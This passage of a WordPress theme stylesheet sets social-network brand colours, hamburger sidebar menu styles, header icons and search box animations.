.tags-share-box.tags-share-box-s2 .post-share-line {
	background: #01b901 !important
}
.tags-share-box.tags-share-box-s2 .post-share-plike {
	background: var(--pcaccent-cl)
}
.penci-social-delicious .penci-social-content {
	background: var(--pcaccent-cl) !important
}
.penci-social-dribbble .penci-social-content {
	background: #ea4c89 !important
}
.penci-social-colored a i.penciicon-letter-d {
	background: #000 !important
}
.penci-social-colored a i.penciicon-blogger,
.penci-social-colored a i.penciicon-blogger-1 {
	background: #ed7800 !important
}
.penci-social-colored a i.fa-delicious {
	background: #0078f0 !important
}
.penci-social-colored a i.penciicon-deviantart,
.penci-social-colored a i.penciicon-deviantart-1 {
	background: #01ca3a !important
}
.penci-social-colored a i.fa-digg {
	background: #005be2 !important
}
.penci-social-colored a i.penciicon-evernote,
.penci-social-colored a i.penciicon-evernote-1 {
	background: #00a32c !important
}
.penci-social-colored a i.penciicon-forrst,
.penci-social-colored a i.penciicon-forrst-1 {
	background: #054958 !important
}
.penci-social-colored a i.penciicon-grooveshark,
.penci-social-colored a i.penciicon-grooveshark-1 {
	background: #f75421 !important
}
.penci-social-colored a i.penciicon-lastfm {
	background: #e31b23 !important
}
.penci-social-colored a i.penciicon-myspace,
.penci-social-colored a i.penciicon-myspace-logo {
	background: #0037c1 !important
}
.penci-social-colored a i.fa-paypal,
.penci-social-colored a i.penciicon-brand {
	background: #0070ba !important
}
.penci-social-colored a i.fa-skype,
.penci-social-colored a i.penciicon-skype {
	background: #00aff0 !important
}
.penci-social-colored a i.fa-windows,
.penci-social-colored a i.penciicon-windows {
	background: #00adef !important
}
.penci-social-colored a i.fa-wordpress,
.penci-social-colored a i.penciicon-wordpress-logo {
	background: #21759b !important
}
.penci-social-colored a i.penciicon-yahoo-logo {
	background: #6001d2 !important
}
.penci-social-colored a i.penciicon-y {
	background: #fc401d !important
}
.penci-social-colored a i.fa-globe {
	background: var(--pcaccent-cl) !important
}
.penci-social-colored a i.fa-dribbble {
	background: #ea4c89 !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-facebook i,
.penci-social-textcolored a i.fa-facebook,
.penci-social-textcolored a i.fa-facebook-f,
.penci-social-textcolored a i.penciicon-facebook {
	color: #0d47a1 !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-twitter i,
.penci-social-textcolored a i.fa-twitter,
.penci-social-textcolored a i.penciicon-twitter,
.penci-social-textcolored a i.penciicon-x-twitter {
	color: #40c4ff !important
}
.penci-social-textcolored a i.fa-google-plus {
	color: #eb4026 !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-instagram i,
.penci-social-textcolored a i.fa-instagram,
.penci-social-textcolored a i.penciicon-instagram {
	color: #4d7a9e !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-pinterest i,
.penci-social-textcolored a i.fa-pinterest,
.penci-social-textcolored a i.penciicon-pinterest {
	color: #bd081c !important
}
.penci-social-textcolored a i.fa-linkedin,
.penci-social-textcolored a i.fa-linkedin-in,
.penci-social-textcolored a i.penciicon-linkedin {
	color: #0077b5 !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-flickr i,
.penci-social-textcolored a i.fa-flickr,
.penci-social-textcolored a i.penciicon-flickr {
	color: #ff0084 !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-behance i,
.penci-social-textcolored a i.fa-behance,
.penci-social-textcolored a i.penciicon-behance {
	color: #053eff !important
}
.penci-social-textcolored a i.fa-tumblr,
.penci-social-textcolored a i.penciicon-tumblr {
	color: #34465d !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-youtube i,
.penci-social-textcolored a i.fa-youtube,
.penci-social-textcolored a i.fa-youtube-play,
.penci-social-textcolored a i.penciicon-youtube {
	color: red !important
}
.penci-social-textcolored a i.fa-envelope,
.penci-social-textcolored a i.fa-envelope-o,
.penci-social-textcolored a i.penciicon-email {
	color: #0084ff !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-vk i,
.penci-social-textcolored a i.fa-vk,
.penci-social-textcolored a i.penciicon-vk {
	color: #5181b8 !important
}
.penci-social-textcolored a i.fa-heart,
.penci-social-textcolored a i.fa-heart-o {
	color: #000 !important
}
.penci-social-textcolored a i.fa-vine,
.penci-social-textcolored a i.penciicon-vine {
	color: #00b98a !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-soundcloud i,
.penci-social-textcolored a i.fa-soundcloud,
.penci-social-textcolored a i.penciicon-soundcloud {
	color: #f76201 !important
}
.penci-social-textcolored a i.fa-pocket {
	color: #ef4056 !important
}
.penci-social-textcolored a i.fa-snapchat,
.penci-social-textcolored a i.fa-snapchat-ghost,
.penci-social-textcolored a i.penciicon-snapchat {
	color: #f6f600 !important
}
.penci-social-textcolored a i.fa-spotify,
.penci-social-textcolored a i.penciicon-spotify {
	color: #22c95c !important
}
.penci-social-textcolored a i.fa-github,
.penci-social-textcolored a i.penciicon-github {
	color: #302f2f !important
}
.penci-social-textcolored a i.fa-stack-overflow,
.penci-social-textcolored a i.penciicon-stack-overflow {
	color: #f7a000 !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-twitch i,
.penci-social-textcolored a i.fa-twitch,
.penci-social-textcolored a i.penciicon-twitch {
	color: #613fa0 !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-vimeo i,
.penci-social-textcolored a i.fa-vimeo,
.penci-social-textcolored a i.fa-vimeo-v,
.penci-social-textcolored a i.penciicon-vimeo {
	color: #00a8e8 !important
}
.penci-social-textcolored a i.fa-steam,
.penci-social-textcolored a i.penciicon-steam {
	color: #bcbab8 !important
}
.penci-social-textcolored a i.fa-xing,
.penci-social-textcolored a i.penciicon-xing {
	color: #007c7c !important
}
.penci-social-textcolored a i.fa-whatsapp,
.penci-social-textcolored a i.penciicon-whatsapp {
	color: #00e676 !important
}
.penci-social-textcolored a i.fa-telegram,
.penci-social-textcolored a i.penciicon-telegram {
	color: #289fd9 !important
}
.penci-social-textcolored a i.fa-reddit-alien,
.penci-social-textcolored a i.penciicon-reddit {
	color: #f74300 !important
}
.penci-social-textcolored a i.fa-odnoklassniki,
.penci-social-textcolored a i.penciicon-odnoklassniki {
	color: #f18f00 !important
}
.penci-social-textcolored a i.fa-500px {
	color: #0af !important
}
.penci-social-textcolored a i.fa-stumbleupon,
.penci-social-textcolored a i.penciicon-stumbleupon {
	color: #eb4823 !important
}
.penci-social-textcolored a i.fa-weixin,
.penci-social-textcolored a i.penciicon-wechat {
	color: #0fc91c !important
}
.penci-social-textcolored a i.fa-weibo,
.penci-social-textcolored a i.penciicon-sina-weibo {
	color: #df152c !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-rss i,
.penci-social-textcolored a i.fa-rss,
.penci-social-textcolored a i.penciicon-rss {
	color: #f0941a !important
}
.penci-social-textcolored a i.fa-slack,
.penci-social-textcolored a i.penciicon-slack {
	color: #611f69 !important
}
.penci-social-textcolored a i.fa-mixcloud {
	color: #f3b2a6 !important
}
.penci-social-textcolored a i.fa-goodreads,
.penci-social-textcolored a i.penci-icon-goodreads,
.penci-social-textcolored a i.penciicon-goodreads {
	color: #8a5724 !important
}
.penci-social-textcolored a i.fa-tripadvisor,
.penci-social-textcolored a i.penciicon-tripadvisor {
	color: #34e0a1 !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-tiktok i,
.penci-social-textcolored a i.fa-tiktok,
.penci-social-textcolored a i.penci-icon-tiktok,
.penci-social-textcolored a i.penciicon-tik-tok,
.penci-social-textcolored a i.penciicon-tik-tok-1 {
	color: #fe2c55 !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-butterfly i,
.pcsoccl-brandtext .pcsc-brandflag.penciicon-butterfly i,
.penci-social-textcolored a i.penciicon-butterfly{
	color: #1185fe !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-threads i,
.pcsoccl-brandtext .pcsc-brandflag.penciicon-threads i,
.penci-social-textcolored a i.penciicon-threads{
	color: #B0B0B0 !important
}
.pcsoccl-brandtext .pcsc-brandflag.pcsoci-yelp i,
.pcsoccl-brandtext .pcsc-brandflag i.fa-yelp,
.penci-social-textcolored a i.fa-yelp{
	color: rgba(244,13,21,1) !important
}
.penci-social-textcolored a i.fa-line,
.penci-social-textcolored a i.penci-icon-line,
.penci-social-textcolored a i.penciicon-line,
.penci-social-textcolored a i.penciicon-line-1 {
	color: #01b901 !important
}
.penci-social-textcolored a i.fa-viber,
.penci-social-textcolored a i.penci-icon-viber,
.penci-social-textcolored a i.penciicon-viber,
.penci-social-textcolored a i.penciicon-viber-1 {
	color: #7d51a0 !important
}
.penci-social-textcolored a i.fa-discord,
.penci-social-textcolored a i.penci-icon-discord,
.penci-social-textcolored a i.penciicon-discord,
.penci-social-textcolored a i.penciicon-discord-1 {
	color: #7289da !important
}
.penci-social-textcolored a i.penciicon-douban-logo {
	color: #00b51d !important
}
.penci-social-textcolored a i.penciicon-qq-social-logo-of-a-penguin {
	color: #4292ff !important
}
.penci-social-textcolored a i.penciicon-letter-d {
	color: #000 !important
}
.penci-social-textcolored a i.penciicon-blogger,
.penci-social-textcolored a i.penciicon-blogger-1 {
	color: #ed7800 !important
}
.penci-social-textcolored a i.fa-delicious {
	color: #0078f0 !important
}
.penci-social-textcolored a i.penciicon-deviantart,
.penci-social-textcolored a i.penciicon-deviantart-1 {
	color: #01ca3a !important
}
.penci-social-textcolored a i.fa-digg {
	color: #005be2 !important
}
.penci-social-textcolored a i.penciicon-evernote,
.penci-social-textcolored a i.penciicon-evernote-1 {
	color: #00a32c !important
}
.penci-social-textcolored a i.penciicon-forrst,
.penci-social-textcolored a i.penciicon-forrst-1 {
	color: #054958 !important
}
.penci-social-textcolored a i.penciicon-grooveshark,
.penci-social-textcolored a i.penciicon-grooveshark-1 {
	color: #f75421 !important
}
.penci-social-textcolored a i.penciicon-lastfm {
	color: #e31b23 !important
}
.penci-social-textcolored a i.penciicon-myspace,
.penci-social-textcolored a i.penciicon-myspace-logo {
	color: #0037c1 !important
}
.penci-social-textcolored a i.fa-paypal,
.penci-social-textcolored a i.penciicon-brand {
	color: #0070ba !important
}
.penci-social-textcolored a i.fa-skype,
.penci-social-textcolored a i.penciicon-skype {
	color: #00aff0 !important
}
.penci-social-textcolored a i.fa-windows,
.penci-social-textcolored a i.penciicon-windows {
	color: #00adef !important
}
.penci-social-textcolored a i.fa-wordpress,
.penci-social-textcolored a i.penciicon-wordpress-logo {
	color: #21759b !important
}
.penci-social-textcolored a i.penciicon-yahoo-logo {
	color: #6001d2 !important
}
.penci-social-textcolored a i.penciicon-y {
	color: #fc401d !important
}
.penci-social-textcolored a i.fa-globe {
	color: var(--pcaccent-cl) !important
}
.penci-social-textcolored a i.fa-dribbble {
	color: #ea4c89 !important
}
#sidebar-nav .menu,
.pchgbel .menu,
.penci-menu-hbg .menu {
	margin: 0;
	list-style: none
}
#sidebar-nav .menu li,
.pchgbel .menu li,
.penci-menu-hbg .menu li {
	display: block;
	border-bottom: 1px solid #dedede;
	padding: 0;
	margin-bottom: 0
}
.pchgbel .menu li.penci-mega-menu .sub-menu a:empty,
.penci-menu-hbg .menu li.penci-mega-menu .sub-menu a:empty {
	padding: 0;
	display: none
}
.pchgbel.menu li.penci-mega-menu .sub-menu a:blank,
.penci-menu-hbg .menu li.penci-mega-menu .sub-menu a:blank {
	padding: 0;
	display: none
}
.pchgbel .menu li.penci-mega-menu .sub-menu .penci-megamenu a:not(.mega-cat-child),
.penci-menu-hbg .menu li.penci-mega-menu .sub-menu .penci-megamenu a:not(.mega-cat-child) {
	padding: 0;
	display: none
}
.pchgbel .menu li.penci-mega-menu .sub-menu .penci-megamenu a.mega-normal-child,
.penci-menu-hbg .menu li.penci-mega-menu .sub-menu .penci-megamenu a.mega-normal-child {
	padding: 10px 0;
	display: block
}
#sidebar-nav .menu ul>li:last-child,
#sidebar-nav .menu>li:last-child,
.pchgbel .menu ul>li:last-child,
.pchgbel .menu>li:last-child,
.penci-menu-hbg .menu ul>li:last-child,
.penci-menu-hbg .menu>li:last-child {
	border-bottom: none
}
#sidebar-nav .menu li a,
.pchgbel .menu li a,
.penci-menu-hbg .menu li a {
	font-size: 13px;
	font-weight: 400;
	letter-spacing: 0;
	text-transform: uppercase;
	color: #313131;
	margin: 0;
	position: relative;
	padding: 13px 0 13px 0;
	display: block;
	line-height: 1.3em;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei)
}
.pchgbel .menu li a,
.penci-menu-hbg .menu li a {
	text-decoration: none
}
#sidebar-nav .menu li.menu-item-has-children a,
.pchgbel .menu li.menu-item-has-children a,
.penci-menu-hbg .menu li.menu-item-has-children a {
	padding-right: 17px
}
#sidebar-nav .menu li a:hover,
.pchgbel .menu li a:hover,
.penci-menu-hbg .menu li a:hover {
	color: var(--pcaccent-cl)
}
#sidebar-nav .menu li a>i,
.pchgbel .menu li a>i,
.penci-menu-hbg .menu li a>i {
	display: inline-block;
	margin-right: 5px
}
#sidebar-nav ul.sub-menu,
.pchgbel ul.sub-menu,
.penci-menu-hbg ul.sub-menu {
	border-top: 1px solid #dedede;
	display: none;
	padding: 10px 0 10px 12px
}
.pchgbel ul.sub-menu,
.penci-menu-hbg ul.sub-menu {
	margin: 0
}
#sidebar-nav ul.sub-menu ul.sub-menu,
.pchgbel ul.sub-menu ul.sub-menu,
.penci-menu-hbg ul.sub-menu ul.sub-menu {
	border: none;
	padding: 5px 0 5px 12px
}
#sidebar-nav ul.sub-menu ul.sub-menu,
.pchgbel ul.sub-menu ul.sub-menu,
.penci-menu-hbg ul.sub-menu ul.sub-menu {
	padding-right: 0
}
#sidebar-nav ul.sub-menu li,
.pchgbel ul.sub-menu li,
.penci-menu-hbg ul.sub-menu li {
	overflow: hidden;
	border: none
}
#sidebar-nav ul.sub-menu li a,
.pchgbel ul.sub-menu li a,
.penci-menu-hbg ul.sub-menu li a {
	margin: 0;
	padding: 10px 0;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s
}
#sidebar-nav .menu li a .indicator,
.pchgbel .menu li a .indicator,
.penci-menu-hbg .menu li a .indicator {
	text-decoration: none;
	position: absolute;
	top: 0;
	right: 0;
	height: 100%;
	z-index: 20;
	font-size: 17px;
	font-style: normal;
	text-align: right;
	padding: 11px 0 11px 5px;
	line-height: 1;
	color: inherit !important;
	opacity: .85
}
.pchgbel .menu li a .indicator .fa-angle-up:before,
.menu li a .indicator .fa-angle-up:before {
	content: "\f106"
}
#sidebar-nav .menu .sub-menu li a .indicator,
.pchgbel .menu .sub-menu li a .indicator,
.penci-menu-hbg .menu .sub-menu li a .indicator {
	padding: 8px 0 8px 5px
}
#sidebar-nav .menu .sub-menu li a .indicator:hover,
.pchgbel .menu .sub-menu li a .indicator:hover,
.penci-menu-hbg .menu .sub-menu li a .indicator:hover,
#sidebar-nav .menu li a .indicator:hover,
.penci-menu-hbg .menu li a .indicator:hover {
	color: var(--pcaccent-cl)
}
#sidebar-nav ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu,
.pchgbel ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu,
.penci-menu-hbg ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu {
	display: block;
	padding: 0
}
#sidebar-nav ul.menu>li.megamenu>ul.sub-menu>li>a,
.pchgbel ul.menu>li.megamenu>ul.sub-menu>li>a,
.penci-menu-hbg ul.menu>li.megamenu>ul.sub-menu>li>a {
	display: none
}
.fa-angle-double-up:before {
	content: "\f102"
}
#close-sidebar-nav,
.penci-menu-hbg-overlay {
	position: fixed;
	visibility: hidden;
	opacity: 0;
	text-decoration: none;
	top: 0;
	left: 0;
	font-size: 1.4em;
	color: #313131;
	padding: 10px;
	height: 100%;
	background: rgba(0, 0, 0, .8);
	right: 0;
	z-index: 99996;
	cursor: pointer;
	transition: all .5s;
	-webkit-transition: all .5s;
	-moz-transition: all .5s
}
.penci-menuhbg-open .penci-menu-hbg-overlay {
	left: 0;
	opacity: 1;
	visibility: visible
}
.open-sidebar-nav #close-sidebar-nav {
	left: 270px;
	opacity: 1;
	visibility: visible
}
#close-sidebar-nav i {
	display: none;
	width: 24px;
	height: 24px;
	background-color: #fff;
	line-height: 24px;
	text-align: center;
	border-radius: 12px;
	font-size: 14px
}
.penci-menu-hbg {
	background-repeat: no-repeat;
	background-position: center center
}
.penci-menu-hbg #logo {
	display: none
}
.penci-menuhbg-wapper {
	float: right;
	width: 18px;
	margin-right: 12px;
	text-align: center
}
.penci-menuhbg-toggle {
	padding: 0;
	width: 18px;
	line-height: 20px;
	background-position: right top;
	background-repeat: no-repeat;
	box-sizing: content-box;
	-moz-box-sizing: content-box;
	display: flex;
	align-items: center;
	height: 58px;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	-ms-transition: all .3s;
	-o-transition: all .3s;
	transition: all .3s
}
.penci-menuhbg-toggle .penci-menuhbg-inner {
	transition: -webkit-transform .33s .3s ease-in;
	transition: transform .33s .3s ease-in;
	-webkit-transform-origin: center;
	transform-origin: center;
	display: block;
	height: 20px;
	position: relative;
	width: 100%;
	overflow: hidden
}
.penci-menuhbg-toggle .penci-lines {
	height: 2px;
	display: block;
	width: 18px;
	background-color: transparent;
	position: relative;
	transition: background .2s ease, opacity .2s ease
}
.penci-menuhbg-toggle .penci-lines:before {
	top: 5px;
	transition: transform .65s cubic-bezier(.3, 1, .3, 1) 0s, background-color .2s ease, opacity .2s ease
}
.penci-menuhbg-toggle .penci-lines:after {
	top: -5px;
	-webkit-transform-origin: 50% 50%;
	transform-origin: 50% 50%;
	transition: transform .65s cubic-bezier(.3, 1, .3, 1) 80ms, background-color .2s ease, opacity .2s ease
}
.penci-menuhbg-toggle .penci-lines:after,
.penci-menuhbg-toggle .penci-lines:before {
	display: block;
	width: 100%;
	height: 2px;
	position: absolute;
	left: 0;
	content: "";
	background-color: #313131
}
.penci-menuhbg-toggle .lines-button {
	cursor: pointer;
	line-height: 0 !important;
	top: 9px;
	position: relative;
	font-size: 0 !important;
	user-select: none;
	display: block
}
.penci-menuhbg-toggle .lines-button.penci-hover-effect {
	left: -30px;
	margin-top: -2px
}
.penci-menuhbg-toggle .lines-button:after {
	height: 2px;
	display: inline-block;
	width: 100%;
	position: absolute;
	left: 0;
	top: 0;
	content: "";
	background-color: #313131;
	transition: transform .65s cubic-bezier(.3, 1, .3, 1) 40ms, background-color .2s ease, opacity .2s ease
}
.penci-menuhbg-toggle.closed .penci-menuhbg-inner {
	transition: -webkit-transform .33s 0s ease;
	transition: transform .33s 0s ease
}
.penci-menuhbg-toggle:hover .lines-button:after,
.penci-menuhbg-toggle:hover .penci-lines:after,
.penci-menuhbg-toggle:hover .penci-lines:before {
	background: var(--pcaccent-cl)
}
.penci-menuhbg-toggle:hover .lines-button:after,
.penci-menuhbg-toggle:hover .penci-lines:after,
.penci-menuhbg-toggle:hover .penci-lines:before {
	transform: translateX(30px)
}
.penci-menu-hbg-inner #penci-close-hbg {
	position: absolute;
	top: 10px;
	left: 15px;
	cursor: pointer;
	z-index: 1;
	-webkit-transition: all .5s ease;
	-moz-transition: all .5s ease;
	-ms-transition: all .5s ease;
	-o-transition: all .5s ease;
	transition: all .5s ease;
	width: 20px;
	height: 20px;
	display: block;
	overflow: hidden
}
.penci-menu-hbg-inner #penci-close-hbg i {
	display: none
}
.admin-bar .penci-menu-hbg #penci-close-hbg {
	top: 40px
}
.penci-menu-hbg-inner #penci-close-hbg:after,
.penci-menu-hbg-inner #penci-close-hbg:before {
	content: "";
	height: 100%;
	width: 2px;
	backface-visibility: hidden;
	position: absolute;
	border-radius: 5px;
	background: #888;
	left: 9px;
	transition: opacity .2s ease, background-color .2s ease
}
.penci-menu-hbg-inner #penci-close-hbg:before {
	transform: rotate(45deg)
}
.penci-menu-hbg-inner #penci-close-hbg:after {
	transform: rotate(-45deg)
}
.penci-menu-hbg-inner #penci-close-hbg:hover {
	transform: rotate(180deg);
	-ms-transform: rotate(180deg);
	-webkit-transform: rotate(180deg);
	-o-transform: rotate(180deg);
	-moz-transform: rotate(180deg)
}
.penci-menu-hbg-inner #penci-close-hbg:hover:after,
.penci-menu-hbg-inner #penci-close-hbg:hover:before {
	background-color: #111
}
.penci-menu-hbg-inner .penci-hbg_sitetitle {
	font-size: 18px;
	margin-top: 15px;
	line-height: 1.3;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei)
}
.penci-menu-hbg-inner .penci-hbg_desc {
	margin-top: 10px;
	line-height: 1.45;
	font-size: 14px
}
.penci-menu-hbg-inner .penci-hbg-header {
	text-align: center;
	margin-bottom: 30px
}
.penci-hbg-header .penci-lazy[src*=penci-holder] {
	width: auto;
	height: auto
}
.penci-hbg-header .penci-hbg-logo .penci-lazy[src*=penci-holder] {
	background: 0 0
}
.penci-menu-hbg-inner .menu-hamburger-navigation {
	margin-bottom: 30px
}
.penci-menu-hbg-widgets1 {
	margin-top: 40px
}
.penci-menu-hbg-widgets2 {
	margin-top: 40px
}
.penci-menu-hbg .penci-sidebar-content .widget {
	margin-bottom: 40px
}
.penci-menu-hbg-inner .header-social.sidebar-nav-social {
	text-align: left;
	padding-left: 0;
	padding-right: 0;
	margin: 26px -3px 0
}
.penci-menu-hbg-inner .penci-hbg-footer {
	margin-bottom: 0;
	margin-top: 30px
}
.penci_menu_hbg_ftext {
	line-height: 1.6
}
.penci-menu-hbg {
	padding-bottom: 30px
}
.penci-menu-hbg.penci-menu-hbg-left #penci-close-hbg {
	left: auto;
	right: 10px
}
.penci-menu-hbg-inner .penci-sidebar-content {
	width: 100% !important;
	float: none !important
}
.penci-menu-hbg.penci-menu-hbg-right {
	right: 0;
	left: auto;
	transform: translateX(330px);
	-webkit-transform: translateX(330px);
	-moz-transform: translateX(330px)
}
.penci-menuhbg-open .penci-menu-hbg.penci-menu-hbg-right {
	transform: translateX(0)
}
#navigation.header-4 .penci-menuhbg-wapper,
#navigation.header-5 .penci-menuhbg-wapper {
	float: none;
	vertical-align: top;
	display: inline-block
}
.wrap-social-search {
	display: inline-block;
	vertical-align: top
}
.pcheader-icon {
	float: right;
	width: 20px;
	text-align: center
}
.pcheader-icon.shoping-cart-icon {
	margin-right: 15px
}
#navigation.header-4 .pcheader-icon.shoping-cart-icon,
#navigation.header-5 .pcheader-icon.shoping-cart-icon,
#navigation.header-6 .pcheader-icon.shoping-cart-icon,
.pcheader-icon.shoping-cart-icon.clear-right {
	margin-right: 0
}
.pcheader-icon>a {
	height: 58px;
	font-size: 14px;
	line-height: 58px;
	color: #313131;
	cursor: pointer;
	background: 0 0;
	display: block;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	-ms-transition: all .3s;
	-o-transition: all .3s;
	transition: all .3s
}
.pcheader-icon.shoping-cart-icon>a {
	position: relative
}
.pcheader-icon.shoping-cart-icon>a>i {
	font-size: 17px
}
.pcheader-icon.shoping-cart-icon>a>span {
	position: absolute;
	z-index: 1;
	width: 14px;
	height: 14px;
	display: inline-block;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	top: calc(50% - 17px);
	right: -4px;
	background: var(--pcaccent-cl);
	color: #fff;
	text-align: center;
	white-space: nowrap;
	line-height: 14px;
	font-size: 8px;
	font-family: var(--pcbody-font);
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s
}
body:not(.penci-fawesome-ver5) .shoping-cart-icon>a i.fas.fa-shopping-cart {
	display: inline-block;
	font: normal normal normal 14px/1 FontAwesome;
	font-size: inherit;
	text-rendering: auto;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale
}
#navigation.header-6 .pcheader-icon.shoping-cart-icon>a>span {
	top: 23px
}
.is-sticky #navigation.header-6 .pcheader-icon.shoping-cart-icon>a>span {
	top: 12px
}
.pcheader-icon .fa-shopping-bag:before {
	content: "\f07a";
	font-family: FontAwesome
}
.penci-fawesome-ver5 .pcheader-icon .fa-shopping-bag:before {
	font-family: "Font Awesome 5 Free";
	font-weight: 900
}
.show-search {
	position: absolute;
	left: 0;
	width: 100%;
	top: 0;
	height: 58px;
	background: #fff;
	text-align: left;
	z-index: 200;
	display: none
}
.show-search form.pc-searchform input.search-input {
	padding: 15px 35px 15px 0;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	border: none;
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	z-index: 3;
	color: #313131;
	height: 58px;
	line-height: 28px;
	box-sizing: border-box;
	-moz-box-sizing: border-box;
	-webkit-box-sizing: border-box;
	background: 0 0;
	font-weight: 400;
	letter-spacing: 0;
	font-size: 13px
}
.show-search form.pc-searchform i {
	display: none
}
.header-search-style-overlay .show-search form.pc-searchform i {
	display: block;
	font-size: 24px
}
.show-search a.close-search {
	position: absolute;
	width: 20px;
	height: 60px;
	display: inline-block;
	right: 0;
	top: 0;
	z-index: 5;
	text-align: center;
	line-height: 60px;
	font-size: 16px;
	cursor: pointer;
	color: #313131
}
.show-search a.close-search i {
	font-size: 70%
}
form.pc-searchform .searchsubmit {
	display: none
}
.penci-header-trans .show-search form.pc-searchform input.search-input {
	padding-left: 15px
}
.penci-header-trans .show-search a.close-search {
	right: 15px
}
.header-search-style-showup .penci-top-search {
	position: relative
}
.header-search-style-showup .show-search {
	left: auto;
	right: 0;
	width: 300px;
	top: 100%;
	padding: 20px;
	border-top: 4px solid var(--pcaccent-cl);
	height: auto !important;
	visibility: hidden;
	display: block;
	-webkit-transition: all .27s ease-in-out;
	-moz-transition: all .27s ease-in-out;
	-o-transition: all .27s ease-in-out;
	transition: all .27s ease-in-out;
	-webkit-transform-origin: 0 0;
	-moz-transform-origin: 0 0;
	-ms-transform-origin: 0 0;
	-o-transform-origin: 0 0;
	transform-origin: 0 0;
	-webkit-transform: rotateX(-90deg);
	-moz-transform: rotateX(-90deg);
	-ms-transform: rotateX(-90deg);
	-o-transform: rotateX(-90deg);
	transform: rotateX(-90deg);
	box-shadow: 0 3px 3px rgba(190, 190, 190, .6);
	-webkit-box-shadow: 0 3px 3px rgba(190, 190, 190, .6);
	-moz-box-shadow: 0 3px 3px rgba(190, 190, 190, .6)
}
.header-search-style-showup .show-search,
.header-search-style-showup .sticky-wrapper.is-sticky .show-search,
.header-search-style-showup .sticky-wrapper:not(.is-sticky) #navigation .show-search,
.header-search-style-showup .sticky-wrapper:not(.is-sticky) .show-search {
	height: auto !important
}
.header-search-style-showup .show-search.active {
	-webkit-transform: rotateX(0);
	-moz-transform: rotateX(0);
	-ms-transform: rotateX(0);
	-o-transform: rotateX(0);
	transform: rotateX(0);
	visibility: visible
}
.header-search-style-showup .show-search:before {
	visibility: hidden;
	opacity: 0;
	content: "";
	display: block;
	position: absolute;
	top: -9px;
	right: 5px;
	margin: 0 auto;
	width: 0;
	height: 0;
	border-style: solid;
	border-width: 0 6px 6px 6px;
	-webkit-transform: translate3d(0, 5px, 0);
	transform: translate3d(0, 5px, 0);
	-webkit-transition: all .4s ease;
	transition: all .4s ease;
	border-color: transparent transparent var(--pcaccent-cl) transparent;
	border-bottom-color: var(--pcaccent-cl)
}
.header-search-style-showup .show-search.active:before {
	visibility: visible;
	opacity: 1;
	-webkit-transform: translate3d(0, 0, 0);
	transform: translate3d(0, 0, 0)
}
.header-search-style-showup .show-search form.pc-searchform input.search-input,
.header-search-style-showup .sticky-wrapper.is-sticky .show-search form.pc-searchform input.search-input,
.header-search-style-showup .sticky-wrapper:not(.is-sticky) .show-search form.pc-searchform input.search-input {
	border: 1px solid var(--pcborder-cl);
	border-right: 0;
	height: 40px !important;
	padding: 5px 12px !important;
	position: relative
}
.header-search-style-showup .show-search a.close-search {
	display: none
}
.header-search-style-showup .show-search form.pc-searchform .searchsubmit {
	display: block;
	border: 0;
	padding: 0 16px;
	font-size: 13px;
	font-weight: var(--pchead-wei);
	font-family: var(--pchead-font);
	background-color: var(--pcaccent-cl);
	color: #fff;
	text-transform: uppercase;
	transition: all .3s;
	cursor: pointer;
	white-space: nowrap
}
.widget.widget_search form.pc-searchform .searchsubmit {
	display: none
}
.header-search-style-showup .show-search .pc-searchform-inner {
	display: flex
}
.header-search-style-showup .search-results-wrapper .penci-dropdown-results {
	left: -20px;
	width: calc(100% + 40px)
}
.header-search-style-showup .penci-builder-element .search-results-wrapper .penci-dropdown-results {
	left: 0;
	width: 100%
}
.main-nav-social {
	display: inline-block;
	text-align: left;
	margin: 0 13px 0 0;
	float: right;
	line-height: 58px;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	-ms-transition: all .3s;
	-o-transition: all .3s;
	transition: all .3s
}
#navigation.header-4 .main-nav-social,
#navigation.header-5 .main-nav-social {
	float: none;
	vertical-align: top;
	margin: 0 0 0 30px
}
.main-nav-social .inner-header-social {
	display: inline-block;
	vertical-align: top;
	position: relative
}
.main-nav-social a {
	float: left;
	display: inline-block;
	vertical-align: top;
	margin-right: 10px;
	color: #313131;
	font-size: 14px
}
.main-nav-social a:last-child {
	margin-right: 0
}
.main-nav-social a:hover {
	color: var(--pcaccent-cl)
}
#navigation.header-6 .main-nav-social {
	line-height: 80px;
	margin: 0 0 0 30px
}
.button-menu-mobile i,
.main-nav-social a i,
.pcheader-icon a i {
	line-height: inherit;
	vertical-align: top
}
.is-sticky #navigation.header-6 .main-nav-social {
	line-height: 58px
}
@media only screen and (min-width:961px) {
	#navigation.header-10 .main-nav-social,
	#navigation.header-11 .main-nav-social,
	#navigation.header-9 .main-nav-social {
		line-height: 80px
	}
	.is-sticky #navigation.header-10 .main-nav-social,
	.is-sticky #navigation.header-11 .main-nav-social,
	.is-sticky #navigation.header-9 .main-nav-social {
		line-height: 58px
	}
}
#navigation.header-4 .pcheader-icon,
